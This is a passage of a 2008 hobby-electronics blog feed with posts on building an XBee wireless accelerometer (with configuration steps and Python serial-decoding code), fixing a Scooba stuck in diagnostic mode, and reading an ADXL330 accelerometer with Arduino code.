/&gt;&lt;ul&gt;&lt;li&gt;Follow the same steps as before until you reach the firmware selection.&lt;/li&gt;&lt;li&gt;Select the latest version of ZNet 2.5 Router/End Device AT.&lt;/li&gt;&lt;li&gt;Under "Networking," change NI (Node Identifer) to something like "ACCELEROMETER".&lt;/li&gt;&lt;li&gt;Under "I/O Settings," change D0-D2 to 2-ADC. These pins will be used to read from the accelerometer.&lt;/li&gt;&lt;li&gt;Again under "I/O Settings," change IR (sample rate) to 1F4 (hex for 500 milliseconds).&lt;/li&gt;&lt;li&gt;Click "Write."&lt;/li&gt;&lt;li&gt;Go to the "Termainal" tab. To enter command mode on the XBee, send it "+++" (do not press enter). It will respond with "OK". Next type "ATDNARDUINO&lt;enter&gt;" (or whatever you called your other XBee). That will set the destination node to your other XBee. It should respond with "OK". Next, send it "ATWR&lt;enter&gt;". That will write the settings to memory so that they aren't lost when the XBee is powered off.&lt;pre&gt;+++OK&lt;br /&gt;ATDNARDUINO&lt;br /&gt;OK&lt;br /&gt;ATWR&lt;br /&gt;OK&lt;/pre&gt;&lt;/enter&gt;&lt;/enter&gt;&lt;/li&gt;&lt;li&gt;Finally, hook up your XBee and ADXL330. You can power both with 3.3V (3V works too). Unfortunately, the XBee 2.5 series ADCs only accept voltages in the range of 0-1.2V. To get better results, you'll need to add voltage dividers on the X, Y, and Z axes. I don't have those in the schematic. If you use 3V, it works well enough to detect motion. For finer mesurements, you'll need the dividers.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_S_hSHjWfzvo/SRdPxSYlXEI/AAAAAAAAFWE/TRqPFjOLaYo/s1600-h/schematic.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 184px;" src="http://4.bp.blogspot.com/_S_hSHjWfzvo/SRdPxSYlXEI/AAAAAAAAFWE/TRqPFjOLaYo/s320/schematic.png" alt="" id="BLOGGER_PHOTO_ID_5266765997400218690" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Now, you should be able to test that everything is working. Connect to the Arduino XBee with the X-CTU terminal. Assuming your accelerometer XBee is powered on, you should see lots of data flying by. The data is transmitted in API packets over the XBee's UART, to the FTDI chip, to your computer's USB-serial device. The API packet specification is in the &lt;a href="http://ftp1.digi.com/support/documentation/90000866_C.pdf"&gt;XBee 2.5 manual&lt;/a&gt;. Here's some Python that does part of the decoding.&lt;pre class="prettyprint"&gt;import xbee&lt;/pre&gt;&lt;a href="http://xkcd.com/353/"&gt;Just kidding&lt;/a&gt;. Although there is a &lt;a href="http://code.google.com/p/python-xbee/"&gt;XBee Python library&lt;/a&gt;, it doesn't currently support series 2.5 modules.&lt;pre class="prettyprint"&gt;import serial  # pySerial&lt;br /&gt;import struct&lt;br /&gt;import sys&lt;br /&gt;&lt;br /&gt;THRESHOLD = 5&lt;br /&gt;&lt;br /&gt;tty = sys.argv[1]&lt;br /&gt;&lt;br /&gt;s = serial.Serial(tty, 9600)&lt;br /&gt;movement = None&lt;br /&gt;while True:&lt;br /&gt;if s.read() == chr(0x7e):  # Packet start indicator.&lt;br /&gt;  length, api_id = struct.unpack('&gt;Hc', s.read(3))&lt;br /&gt;  if api_id == chr(0x92):  # IO packet type.&lt;br /&gt;    # Lots of bytes we don't care about followed by 3 shorts.&lt;br /&gt;    z, y, x = struct.unpack('&gt;xxxxxxxxxxxxxxxHHH',&lt;br /&gt;                            s.read(length - 1))&lt;br /&gt;    print z, y, x&lt;br /&gt;    if (movement is not None and&lt;br /&gt;        abs(z + y + x - movement) &gt; THRESHOLD):&lt;br /&gt;      print 'You moved!'&lt;br /&gt;    movement = z + y + x&lt;/pre&gt;If you read the spec for API packets, you'll notice I'm glossing over a lot of details. The analog IO bytes are always at the end of the packet. Since we enabled only 3 ADCs, we can just grab the last three shorts.&lt;br /&gt;&lt;br /&gt;Finally, here is a picture of my breadboarded version (with voltage dividers) of this. It works great. I'm currently working on a PCB so that the whole thing is compact enough to be wearable.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_S_hSHjWfzvo/SRdoFD6G-HI/AAAAAAAAFWM/Cv1OI0AznvM/s1600-h/IMG_0011.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 214px;" src="http://4.bp.blogspot.com/_S_hSHjWfzvo/SRdoFD6G-HI/AAAAAAAAFWM/Cv1OI0AznvM/s320/IMG_0011.JPG" alt="" id="BLOGGER_PHOTO_ID_5266792725390751858" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Some further notes:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The chip antenna versions are pretty directional. There's a lot of interference in my apartment (a long story for another post) and I don't get very good range. I plan to buy some more 60mW XBee Pros with wire antennas in the future. I'd recommend getting the high power ones unless you're really concerned about &lt;a href="http://www.faludi.com/projects/arduino-and-xbee-battery-test-results/"&gt;battery life&lt;/a&gt;. I wish I had.&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.digi.com/"&gt;Digi&lt;/a&gt;'s tech support is really pretty great. I had some trouble flashing one of my XBee's and they got in contact with me on the same business day.&lt;/li&gt;&lt;li&gt;Unfortunately, the XBee only has 4 ADCs. If it had one more, you could add a pitch and roll gyro to the mix without an additional MCU. Oh, well.&lt;/li&gt;&lt;li&gt;The XBee pin spacing doesn't match standard breadboards. But, the XBee Explorer USB doubles as an XBee breakout board for breadboard designs (as seen in the photo above) if you solder on some additional headers.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3604425971259502766-1330512251759512160?l=www.damonkohler.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/damonkohler/~4/GYh8AwjfM0A" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.damonkohler.com/feeds/1330512251759512160/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3604425971259502766&amp;postID=1330512251759512160" title="9 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/1330512251759512160?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/1330512251759512160?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/damonkohler/~3/GYh8AwjfM0A/xbee-znet-25-wireless-accelerometer.html" title="XBee ZNet 2.5 Wireless Accelerometer" /><author><name>Damon</name><uri>http://www.blogger.com/profile/17362087152286203901</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="03757104139415985158" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_S_hSHjWfzvo/SRdPxSYlXEI/AAAAAAAAFWE/TRqPFjOLaYo/s72-c/schematic.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">9</thr:total><feedburner:origLink>http://www.damonkohler.com/2008/11/xbee-znet-25-wireless-accelerometer.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUcFQXk-eip7ImA9WxRWFk8.&quot;"><id>tag:blogger.com,1999:blog-3604425971259502766.post-4102661172138960272</id><published>2008-11-02T12:42:00.000+01:00</published><updated>2008-11-02T12:56:50.752+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-11-02T12:56:50.752+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="roomba" /><category scheme="http://www.blogger.com/atom/ns#" term="scooba" /><category scheme="http://www.blogger.com/atom/ns#" term="irobot" /><title>Scooba Stuck In Diagnostic Mode</title><content type="html">This morning, I turned on my Scooba and it started beeping a scale of tones and blinking all its lights in sequence. After an hour or so of resetting, cleaning, disassembling, researching, and scratching my head, I stumbled across the &lt;a href="http://www.roombareview.com/chat/viewtopic.php?t=9241"&gt;solution&lt;/a&gt; on Roomba Review. But, for me at least, it was even easier than all of that. I don't have any of my own pictures for this procedure, but it's pretty straight forward.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Remove the battery and power.&lt;/li&gt;&lt;li&gt;Remove the &lt;a href="http://www.informit.com/content/images/art_fogie_scooba/elementLinks/fig02.jpg"&gt;two screws&lt;/a&gt; holding the bumper shell in place and remove it.&lt;/li&gt;&lt;li&gt;Carefully peel up the sticker with the control buttons on it. This sticker is actually the control panel. There is a data cable attached to it just below the "Clean" button. Be careful not to break it!&lt;/li&gt;&lt;li&gt;Clean the surface under the sticker with some isopropyl alcohol. (I didn't actually have to do this, but I'm sure it doesn't hurt.)&lt;/li&gt;&lt;li&gt;Gently replace the "sticker" (i.e. control panel) and make sure it's completely flat.&lt;/li&gt;&lt;li&gt;Check to see if it works again. If not, repeat.&lt;/li&gt;&lt;li&gt;Replace the bumper shell and screws.&lt;/li&gt;&lt;/ul&gt;It turns out that this "unfixable" (according to iRobot) problem is usually just some moisture under the contacts in the control panel.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3604425971259502766-4102661172138960272?l=www.damonkohler.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/damonkohler/~4/x6uEcCsALMk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.damonkohler.com/feeds/4102661172138960272/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3604425971259502766&amp;postID=4102661172138960272" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/4102661172138960272?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/4102661172138960272?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/damonkohler/~3/x6uEcCsALMk/scooba-stuck-in-diagnostic-mode.html" title="Scooba Stuck In Diagnostic Mode" /><author><name>Damon</name><uri>http://www.blogger.com/profile/17362087152286203901</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="03757104139415985158" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://www.damonkohler.com/2008/11/scooba-stuck-in-diagnostic-mode.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkYFQ3cyfyp7ImA9WxRQE0U.&quot;"><id>tag:blogger.com,1999:blog-3604425971259502766.post-453166469303254836</id><published>2008-10-07T16:00:00.000+02:00</published><updated>2008-10-07T16:01:52.997+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-10-07T16:01:52.997+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="games" /><title>Productivity is evil and should be punished.</title><content type="html">&lt;a href="http://www.fantasticcontraption.com/"&gt;Fantastic Contraption&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3604425971259502766-453166469303254836?l=www.damonkohler.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/damonkohler/~4/HSNu-JGyjZM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.damonkohler.com/feeds/453166469303254836/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3604425971259502766&amp;postID=453166469303254836" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/453166469303254836?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/453166469303254836?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/damonkohler/~3/HSNu-JGyjZM/productivity-is-evil-and-should-be.html" title="Productivity is evil and should be punished." /><author><name>Damon</name><uri>http://www.blogger.com/profile/17362087152286203901</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="03757104139415985158" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.damonkohler.com/2008/10/productivity-is-evil-and-should-be.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEIAQns5eyp7ImA9WxRbF0o.&quot;"><id>tag:blogger.com,1999:blog-3604425971259502766.post-1649934943567424174</id><published>2008-09-26T21:13:00.000+02:00</published><updated>2008-12-08T23:49:03.523+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-12-08T23:49:03.523+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="arduino" /><category scheme="http://www.blogger.com/atom/ns#" term="accelerometer" /><title>Arduino Accelerometer (ADXL330)</title><content type="html">Another toy I ordered quite awhile ago was an accelerometer. Just hooked it up, no sweat. Here's the code:&lt;pre class="prettyprint"&gt;#define xPin 5&lt;br /&gt;#define yPin 4&lt;br /&gt;#define zPin 3&lt;br /&gt;int x = 0;&lt;br /&gt;int y = 0;&lt;br /&gt;int z  = 0;&lt;br /&gt;int delta = 0;&lt;br /&gt;&lt;br /&gt;void setup() {&lt;br /&gt;  Serial.begin(9600);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void loop() {&lt;br /&gt;  delta = x + y + z;&lt;br /&gt;  x = analogRead(xPin);&lt;br /&gt;  y = analogRead(yPin);&lt;br /&gt;  z = analogRead(zPin);&lt;br /&gt;  delta -= x + y + z;&lt;br /&gt;  Serial.print(x);&lt;br /&gt;  Serial.print(", ");&lt;br /&gt;  Serial.print(y);&lt;br /&gt;  Serial.print(", ");&lt;br /&gt;  Serial.print(z);&lt;br /&gt;  Serial.print(", ");&lt;br /&gt;  Serial.println(abs(delta));&lt;br /&gt;  delay(500);&lt;br /&gt;}&lt;/pre&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_S_hSHjWfzvo/SN05jhvESLI/AAAAAAAAFVI/zq4RrGpv3CY/s1600-h/img_0002.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_S_hSHjWfzvo/SN05jhvESLI/AAAAAAAAFVI/zq4RrGpv3CY/s320/img_0002.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5250416023097854130" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3604425971259502766-1649934943567424174?l=www.damonkohler.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/damonkohler/~4/tbZahUHn_Hk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.damonkohler.com/feeds/1649934943567424174/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3604425971259502766&amp;postID=1649934943567424174" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/1649934943567424174?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/1649934943567424174?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/damonkohler/~3/tbZahUHn_Hk/arduino-accelerometer-adxl330.html" title="Arduino Accelerometer (ADXL330)" /><author><name>Damon</name><uri>http://www.blogger.com/profile/17362087152286203901</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="03757104139415985158" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_S_hSHjWfzvo/SN05jhvESLI/AAAAAAAAFVI/zq4RrGpv3CY/s72-c/img_0002.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.damonkohler.com/2008/09/arduino-accelerometer-adxl330.html</feedburner:origLink></entry></feed>
